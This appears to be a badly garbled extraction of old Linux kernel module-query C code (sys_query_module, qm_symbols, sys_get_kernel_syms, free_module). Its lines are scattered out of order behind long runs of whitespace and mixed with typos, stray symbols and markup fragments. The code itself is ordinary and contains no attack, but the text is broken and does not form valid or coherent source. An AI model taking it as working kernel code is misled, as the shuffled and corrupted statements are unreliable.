                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* Query various bits about modules.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       size_t nmod, space, len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return error;
                                                                                                                                                                                           for (i = 0; i < mod->ndeps; ++i) {
                                                                                                                                                                                                                                                                                                                                               if (!MOD_CAN_QUERY(mod))
                                                                                                                                                                                                                                                                                                                                                                                                                         size_t i, space, len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (put_user(space,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             while ((mod = mod->next) != &kernel_module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              erse
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  nmod = space = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct module *mod;
                                                                                                                                                                                                                          space = 0;
                                                                                                                                                                                                                                                                                                                                                                                                  if (mod == &kernel_module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (put_user(nmod,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        for (mod=module_list; mod != &kernel_module; mod=mod->next, ++nmod)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (copy_to_user(buf, mod->name, len))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    space += strlen(mod->name)+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     bufsize -= len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               buf +=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (len > bufsize)
                                                                                                                                                                       const char *dep_name = mod->deps[i].dep->name;
                                                                                                                                                                                                                                                                                                                          if (put_user(0, ret))
                                                                                                                                                                                                                                                                                                                                                                    return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        len = strlen(mod->name)+1;
                                                                      if (copy_to_user(buf, dep_name, len))
                                                                                                                      if (len > bufsize)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return -ENOSPC
bufsize -= len;
                                                                                                                                              len = strlen(dep_name)+1;
                                              return -EFAULT;
                                                                                           goto calc_space_needed;
                                                                                                                                                                                                                                                 return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     goto calc_space_needed;
                                                                                                                                                                                                                                                                                                  return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ret)
```

```
static int
                    qm_symbols(struct module *mod, char *buf, size_t bufsize, size_t *ret)
                                            static int
                                                                                                                                                                                                                                                            calc_space_needed:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       >next_ref) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      qm_refs(struct module *mod, char *buf, size_t bufsize, size_t *ret)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                calc_space_needed:
                                                                                                                                                                                                                                                                                                          else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (mod == &kernel_module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    size_t nrefs, space, len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               while (++i < mod->ndeps)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 for (nrefs = 0, ref = mod->refs; ref; ++nrefs, ref =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      space = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct module_ref *ref;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (put_user(space, ret))
                                                                                                                                                                                                                                                                                                                                                       if (put_user(nrefs,
                                                                                                                                                            if (put_user(space,
                                                                                                                                                                                                             while ((ref = ref->next_ref) != NULL)
                                                                                                                                                                                                                                     space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        else
                                                                                                                                                                                                                                                                                    return 0;
                                                                                                                                                                                                                                                                                                                                   return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (!MOD_CAN_QUERY (mod))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return -ENOSPC;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          space += strlen(mod->deps[i].dep->name)+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (put_user(i, ret))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (put_user(0, ret))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return -EFAULT;
                                                                                           return -ENOSPC
                                                                                                                                                                                       space += strlen(ref->ref->name)+1;
                                                                                                                                                                                                                                                                                                                                                                                                        space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                bufsize -= len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (copy_to_user(buf, ref_name, len))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   const char *ref_name = ref->ref->name;
                                                                                                                                        return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                     buf += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (len > bufsize)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          len = strlen(ref_name)+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto calc_space_needed;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                           ret))
                                                                                                                                                                ret))
                                                                                                                                                                                                           qm_info(struct module *mod, char *buf, size_t bufsize, size_t *ret)
                                                                                                                                                                                                                                     static int
                                                                                                                                                                                                                                                                                                                                                                                                                              calc_space_needed:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct module_symbol *s;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    bufsize -= space;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!access_ok(VERIFY_WRITE,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      s = mod->syms;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char *strings;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            size_t i, space, len;
                                                                     ΞÉ
                                                                                                                                                                                                                                                                                                                                                       if (put_user(space,
                                                                                                                                                                                                                                                                                                                                                                                                        for (; i < mod->nsyms; ++i, ++s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  for (; i < mod->nsyms ; ++i, ++s,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            strings = but+space;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 vals = (unsigned long *)buf;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (space > bufsize)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    i = len = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          space = mod->nsyms * 2*sizeof(void *);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (!MOD_CAN_QUERY(mod))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     unsigned long *vals;
                                                                                                                                                              int error; = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (put_user(i, ret))
                                                                                                                                        (mod == &kernel_module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         goto calc_space_needed;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           else
                                                                   (sizeof'(struct module_info) <= bufsize) {
                                                                                                                                                                                                                                                                                    return -ENOSPC
                                                                                                                                                                                                                                                                                                                                                                              space += strlen(s->name)+1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   bufsize -= len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         strings += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (copy_to_user(strings, s->name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (len > bufsize)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (put_user(0, ret))
                                                                                                                                                                                                                                                                                                                                 return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                     return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          space += len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          len = strlen(s->name)+1;
info.size = mod->size;
                    info.addr = (unsigned long)mod;
                                          struct module_info info;
                                                                                           return FEINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto calc_space_needed;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           __put_user(s->value, vals+0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      __put_user(space, vals+1))
                                                                                                                                                                                                                                                                                                                                                           ret))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   buf, space))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    vals +=
```

```
sys_query_module(const char *name_user, int which, char *buf, size_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bufsize,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage long
                                  case QM_REFS:
                                                                                                                                                                                                                                                                                                                   switch (which)
                                                                                                           case QM_DEPS:
                                                                                                                                                                                         case QM_MODULES:
                                                                                                                                                                                                                                                                      case 0:
                                                                                                                                                                                                                                                                                                                                                                          atomic_inc(&mod->uc.usecount);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (name_user == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct module *mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   else
    err = qm_refs(mod, buf, bufsize, ret);
                                                          break;
                                                                                 err = qm_deps(mod, buf,
                                                                                                                                        break;
                                                                                                                                                            err = qm_modules(buf, bufsize, ret);
                                                                                                                                                                                                                 break;
                                                                                                                                                                                                                                           err = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     mod = &kernel_module;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (put_user(sizeof(struct module_info), ret))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if ((mod = find_module(name)) == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if ((namelen = get_mod_name(name_user, &name)) < 0) {</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                             put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -ENOSPC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (copy_to_user(buf, &info, sizeof(struct module_info)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           info.usecount = (mod_member_present(mod, can_unload)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   info.flags = mod->flags;
                                                                                                                                                                                                                                                                                                                                                                                                                          \_	exttt{MOD}_	exttt{L} touches the flags. We must avoid that ^*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    long namelen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* usecount is one too high here - report appropriately
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           size_t *ret)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         err = namelen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          compensate for locking */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     && mod->can_unload ? -1 : atomic_read(&mod->uc.usecount)-
                                                                                 bufsize, ret);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              query_module+QM_SYMBOLS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               sys_get_kernel_syms(struct kernel_sym *table)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /*Copy the kernel symbol table to user space.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      * This call is obsolete.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                * which does not arbitrarily limit the length of symbols.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       * NULL, just return the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct kernel_sym ksym;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (table == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                for (mod = module_list, i = 0; mod; mod = mod->next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     struct module *mod
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          atomic_dec(&mod->uc.usecount);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  default:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             case QM_INFO:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         case QM_SYMBOLS:
                                                                                                                                                                                                                                                                                                                                                                                                                      tor (mod = module_list, i = 0; mod; mod = mod->next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                               memset (&ksym, 0, sizeof (ksym));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* So that we don't give the user our stack content
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 err = qm_info(mod, buf,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            err = qm_symbols(mod, buf, bufsize, ret);
                      for (j = 0, msym = mod->syms; j < mod->nsyms; ++j, ++msym) (
                                                                                                                                                    if (copy_to_user(table, &ksym,
                                                                                                                                                                                                         strncpy(ksym.name+1, mod->name, sizeof(ksym.name)-1);
                                                                                                                                                                                                                                                                                                                                                                                          struct module_symbol
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        err =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        break;
                                                                           if (mod->nsyms ==
                                                                                                     goto out;
++i, ++table;
                                                                                                                                                                                                                                       ksym.name[0] = '#';
                                                                                                                                                                                                                                                                                                                                             if (!MOD_CAN_QUERY(mod))
                                                                                                                                                                                                                                                                                                                                                                    unsigned int j
                                                                                                                                                                                ksym.name(sizeof(ksym.name)-1] = '\0';
                                                                                                                                                                                                                                                            ksym.value = (unsigned long)mod;
                                                                                                                                                                                                                                                                                    /* magic: write module info as a pseudo symbol */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* include the count
                                                  continue;
                                                                                                                                                                                                                                                                                                                   continue;
ksym.value = msym->value;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             mod->nsyms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        -EINVAL;
                                                                             9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         size of the table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    New programs should use
                                                                                                                                                                                                                                                                                                                                                                                            *msym;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       for the module name! */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     bufsize,
                                                                                                                                                      sizeof(ksym)) != 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ret);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              If the argument is
```

```
struct module *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            find_module(const char *name)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         /*Free the given module.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        free_module(struct module *mod,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               '*Look for a module by name, ignoring modules marked for deletion.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct module_ref *dep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            unsigned long flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (mod = module_list; mod; mod = mod->next) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct module *mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                      for
                                                                                                                                                                                   spin_lock_irqsave(&modlist_lock, flags);
                                                                                                                                                                                                               /* And from the main module list.
                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* Remove the module from the dependency lists.
                                                                                                         else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Let the module clean up.
                                                                                                                                                            (mod == module_list)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mod->flags &= ~MOD_RUNNING;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (mod->cleanup)
p->next = mod->next;
                                                                                                                                   module_list = mod->next;
                                                                                                                                                                                                                                                                                                                                                                                                         struct module_ref **pp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (mod->flags & MOD_RUNNING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (!strcmp(mod->name, name))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (mod->flags & MOD_DELETED)
                                                                                struct module *p;
                                                                                                                                                                                                                                                                                                                                                                             for (pp = &dep->dep->refs; *pp != dep; pp = &(*pp)->next_ref)
                                                    for (p = module_list; p->next !=
                                                                                                                                                                                                                                                                                                                                                                                                                                (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (copy_to_user(table, &ksym, sizeof(ksym)) != 0)
                                                                                                                                                                                                                                                                                           (tag_freed && dep->dep->refs == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         mod->cleanup();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       continue
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ksym.name[sizeof(ksym.name)-1
